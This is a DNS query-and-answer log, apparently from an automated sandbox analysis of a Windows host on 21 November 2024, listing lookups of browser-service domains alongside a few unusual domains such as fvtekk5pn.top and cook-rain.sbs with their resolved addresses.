Nov 21, 2024 14:11:47.274010897 CET	192.168.2.6	1.1.1.1	0x5b16	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 14:11:48.943790913 CET	192.168.2.6	1.1.1.1	0xf8f0	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:48.943840981 CET	192.168.2.6	1.1.1.1	0xad41	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 14:11:52.865511894 CET	192.168.2.6	1.1.1.1	0x21d5	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:53.124671936 CET	192.168.2.6	1.1.1.1	0x964f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:11:53.755891085 CET	192.168.2.6	1.1.1.1	0x4e55	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:53.755938053 CET	192.168.2.6	1.1.1.1	0xe80c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:53.994875908 CET	192.168.2.6	1.1.1.1	0xf763	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:53.995065928 CET	192.168.2.6	1.1.1.1	0x29b3	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:54.230113029 CET	192.168.2.6	1.1.1.1	0xefa9	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 21, 2024 14:11:54.233864069 CET	192.168.2.6	1.1.1.1	0x405b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:11:57.154259920 CET	192.168.2.6	1.1.1.1	0x248a	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.155473948 CET	192.168.2.6	1.1.1.1	0x9ab3	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.396776915 CET	192.168.2.6	1.1.1.1	0xb741	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.397478104 CET	192.168.2.6	1.1.1.1	0xcac	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.605870008 CET	192.168.2.6	1.1.1.1	0x9f25	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.839581013 CET	192.168.2.6	1.1.1.1	0xa7a4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.840428114 CET	192.168.2.6	1.1.1.1	0xf021	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 14:11:57.840642929 CET	192.168.2.6	1.1.1.1	0xd31a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:58.075757027 CET	192.168.2.6	1.1.1.1	0x68d7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:11:58.422734976 CET	192.168.2.6	1.1.1.1	0x3b5a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:58.422868967 CET	192.168.2.6	1.1.1.1	0x2e53	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 14:11:59.778198957 CET	192.168.2.6	1.1.1.1	0x1674	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:59.867367983 CET	192.168.2.6	1.1.1.1	0x265f	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:00.015181065 CET	192.168.2.6	1.1.1.1	0x8adb	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:00.274496078 CET	192.168.2.6	1.1.1.1	0x5fc2	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:02.283647060 CET	192.168.2.6	1.1.1.1	0xf29d	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:02.283819914 CET	192.168.2.6	1.1.1.1	0x8e3e	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 14:12:33.366519928 CET	192.168.2.6	1.1.1.1	0x86d5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:33.366627932 CET	192.168.2.6	1.1.1.1	0x5f84	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 14:12:35.912204027 CET	192.168.2.6	1.1.1.1	0x7f90	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:35.912533998 CET	192.168.2.6	1.1.1.1	0x935d	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 21, 2024 14:12:41.686044931 CET	192.168.2.6	1.1.1.1	0x437d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:41.995804071 CET	192.168.2.6	1.1.1.1	0xb60f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.117244959 CET	192.168.2.6	1.1.1.1	0x4fd9	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 14:12:42.239120960 CET	192.168.2.6	1.1.1.1	0x5018	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:42.245517015 CET	192.168.2.6	1.1.1.1	0xf3e9	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:42.269906998 CET	192.168.2.6	1.1.1.1	0xe93f	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.271768093 CET	192.168.2.6	1.1.1.1	0x45e1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.383476973 CET	192.168.2.6	1.1.1.1	0xea5	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.483438015 CET	192.168.2.6	1.1.1.1	0xe746	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.533468962 CET	192.168.2.6	1.1.1.1	0xcab4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.730397940 CET	192.168.2.6	1.1.1.1	0x9066	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:42.771501064 CET	192.168.2.6	1.1.1.1	0x4600	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 14:12:42.961843967 CET	192.168.2.6	1.1.1.1	0xfd29	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.003411055 CET	192.168.2.6	1.1.1.1	0xdd44	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.212362051 CET	192.168.2.6	1.1.1.1	0x13db	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 14:12:43.244045973 CET	192.168.2.6	1.1.1.1	0x82aa	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:43.482850075 CET	192.168.2.6	1.1.1.1	0xec1a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.600085020 CET	192.168.2.6	1.1.1.1	0xbf64	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.930496931 CET	192.168.2.6	1.1.1.1	0xbf64	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.961386919 CET	192.168.2.6	1.1.1.1	0x80e2	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.204799891 CET	192.168.2.6	1.1.1.1	0x20e	Standard query (0)	mitmdetection.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 14:12:45.643666983 CET	192.168.2.6	1.1.1.1	0x9639	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:45.886482954 CET	192.168.2.6	1.1.1.1	0x55a5	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.128568888 CET	192.168.2.6	1.1.1.1	0x5428	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:46.190048933 CET	192.168.2.6	1.1.1.1	0xd45d	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.190502882 CET	192.168.2.6	1.1.1.1	0x971b	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.360538960 CET	192.168.2.6	1.1.1.1	0xfff4	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.432122946 CET	192.168.2.6	1.1.1.1	0xe2df	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.432527065 CET	192.168.2.6	1.1.1.1	0xd26f	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.588738918 CET	192.168.2.6	1.1.1.1	0xe000	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.673371077 CET	192.168.2.6	1.1.1.1	0x9ce2	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 21, 2024 14:12:46.673589945 CET	192.168.2.6	1.1.1.1	0xb8d6	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 21, 2024 14:12:46.840291977 CET	192.168.2.6	1.1.1.1	0xc19	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 21, 2024 14:12:46.902380943 CET	192.168.2.6	1.1.1.1	0x3c4b	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.902723074 CET	192.168.2.6	1.1.1.1	0xee29	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.130779028 CET	192.168.2.6	1.1.1.1	0xa458	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.131133080 CET	192.168.2.6	1.1.1.1	0xb244	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.363425016 CET	192.168.2.6	1.1.1.1	0xaa7d	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 21, 2024 14:12:47.363744020 CET	192.168.2.6	1.1.1.1	0xc309	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 21, 2024 14:12:49.378492117 CET	192.168.2.6	1.1.1.1	0x21fc	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 14:11:21.508816004 CET	1.1.1.1	192.168.2.6	0x1c35	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:29.325891018 CET	1.1.1.1	192.168.2.6	0xac25	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:29.325891018 CET	1.1.1.1	192.168.2.6	0xac25	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:45.954478979 CET	1.1.1.1	192.168.2.6	0x7788	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:47.500097036 CET	1.1.1.1	192.168.2.6	0x3df3	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:47.500123978 CET	1.1.1.1	192.168.2.6	0x5b16	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 14:11:49.603518963 CET	1.1.1.1	192.168.2.6	0xf8f0	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:52.862289906 CET	1.1.1.1	192.168.2.6	0xe289	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:53.093489885 CET	1.1.1.1	192.168.2.6	0x21d5	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:53.985951900 CET	1.1.1.1	192.168.2.6	0x4e55	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:53.985991955 CET	1.1.1.1	192.168.2.6	0xe80c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:11:53.985991955 CET	1.1.1.1	192.168.2.6	0xe80c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:54.229526997 CET	1.1.1.1	192.168.2.6	0xf763	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:54.229621887 CET	1.1.1.1	192.168.2.6	0x29b3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:54.456341982 CET	1.1.1.1	192.168.2.6	0xefa9	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 21, 2024 14:11:54.459438086 CET	1.1.1.1	192.168.2.6	0x405b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 21, 2024 14:11:57.381601095 CET	1.1.1.1	192.168.2.6	0x248a	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.382596970 CET	1.1.1.1	192.168.2.6	0x9ab3	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.623044968 CET	1.1.1.1	192.168.2.6	0xb741	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.623044968 CET	1.1.1.1	192.168.2.6	0xb741	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.623394012 CET	1.1.1.1	192.168.2.6	0xcac	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:57.832998991 CET	1.1.1.1	192.168.2.6	0x9f25	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:11:57.832998991 CET	1.1.1.1	192.168.2.6	0x9f25	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:58.071269989 CET	1.1.1.1	192.168.2.6	0xa7a4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:11:58.071269989 CET	1.1.1.1	192.168.2.6	0xa7a4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:58.071645021 CET	1.1.1.1	192.168.2.6	0xf50	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:11:58.071645021 CET	1.1.1.1	192.168.2.6	0xf50	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:58.072881937 CET	1.1.1.1	192.168.2.6	0xd31a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:58.648768902 CET	1.1.1.1	192.168.2.6	0x3b5a	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:58.648782015 CET	1.1.1.1	192.168.2.6	0x2e53	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 14:12:00.013477087 CET	1.1.1.1	192.168.2.6	0x1674	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:00.098908901 CET	1.1.1.1	192.168.2.6	0x265f	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:00.098908901 CET	1.1.1.1	192.168.2.6	0x265f	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:00.098908901 CET	1.1.1.1	192.168.2.6	0x265f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:00.500462055 CET	1.1.1.1	192.168.2.6	0x5fc2	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:02.678242922 CET	1.1.1.1	192.168.2.6	0xf29d	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:33.598414898 CET	1.1.1.1	192.168.2.6	0x86d5	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:33.598433971 CET	1.1.1.1	192.168.2.6	0x5f84	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 14:12:36.137938976 CET	1.1.1.1	192.168.2.6	0x7f90	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:36.137938976 CET	1.1.1.1	192.168.2.6	0x7f90	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:36.137938976 CET	1.1.1.1	192.168.2.6	0x7f90	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:36.137938976 CET	1.1.1.1	192.168.2.6	0x7f90	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:36.138032913 CET	1.1.1.1	192.168.2.6	0x6a48	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:36.138032913 CET	1.1.1.1	192.168.2.6	0x6a48	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:36.138032913 CET	1.1.1.1	192.168.2.6	0x6a48	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:36.138508081 CET	1.1.1.1	192.168.2.6	0xec99	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:36.139132977 CET	1.1.1.1	192.168.2.6	0x935d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:36.139132977 CET	1.1.1.1	192.168.2.6	0x935d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:38.985733986 CET	1.1.1.1	192.168.2.6	0x658f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:38.985733986 CET	1.1.1.1	192.168.2.6	0x658f	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:38.985733986 CET	1.1.1.1	192.168.2.6	0x658f	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:38.985796928 CET	1.1.1.1	192.168.2.6	0x758	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:42.234472990 CET	1.1.1.1	192.168.2.6	0xb60f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:42.234472990 CET	1.1.1.1	192.168.2.6	0xb60f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.457011938 CET	1.1.1.1	192.168.2.6	0x43f9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:42.457011938 CET	1.1.1.1	192.168.2.6	0x43f9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.486224890 CET	1.1.1.1	192.168.2.6	0xf3e9	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 21, 2024 14:12:42.505557060 CET	1.1.1.1	192.168.2.6	0xe93f	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:42.507189989 CET	1.1.1.1	192.168.2.6	0x45e1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.616727114 CET	1.1.1.1	192.168.2.6	0xcc94	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.622163057 CET	1.1.1.1	192.168.2.6	0xea5	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:42.622163057 CET	1.1.1.1	192.168.2.6	0xea5	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.720297098 CET	1.1.1.1	192.168.2.6	0xe746	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:42.767503977 CET	1.1.1.1	192.168.2.6	0xcab4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.196145058 CET	1.1.1.1	192.168.2.6	0xfd29	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.237839937 CET	1.1.1.1	192.168.2.6	0xdd44	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.716140032 CET	1.1.1.1	192.168.2.6	0xec1a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:43.716140032 CET	1.1.1.1	192.168.2.6	0xec1a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.932893991 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.66	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.932893991 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.932893991 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.49	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:43.932893991 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.17	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.160881996 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.66	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.160881996 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.17	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.160881996 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.49	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.160881996 CET	1.1.1.1	192.168.2.6	0xbf64	No error (0)	mitmdetection.services.mozilla.com		13.32.99.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.195529938 CET	1.1.1.1	192.168.2.6	0x80e2	No error (0)	mitmdetection.services.mozilla.com		13.32.99.66	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.195529938 CET	1.1.1.1	192.168.2.6	0x80e2	No error (0)	mitmdetection.services.mozilla.com		13.32.99.49	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.195529938 CET	1.1.1.1	192.168.2.6	0x80e2	No error (0)	mitmdetection.services.mozilla.com		13.32.99.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.195529938 CET	1.1.1.1	192.168.2.6	0x80e2	No error (0)	mitmdetection.services.mozilla.com		13.32.99.17	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.205229998 CET	1.1.1.1	192.168.2.6	0x1b02	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:44.433942080 CET	1.1.1.1	192.168.2.6	0x20e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:45.874303102 CET	1.1.1.1	192.168.2.6	0x9639	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:45.874303102 CET	1.1.1.1	192.168.2.6	0x9639	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:45.874303102 CET	1.1.1.1	192.168.2.6	0x9639	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
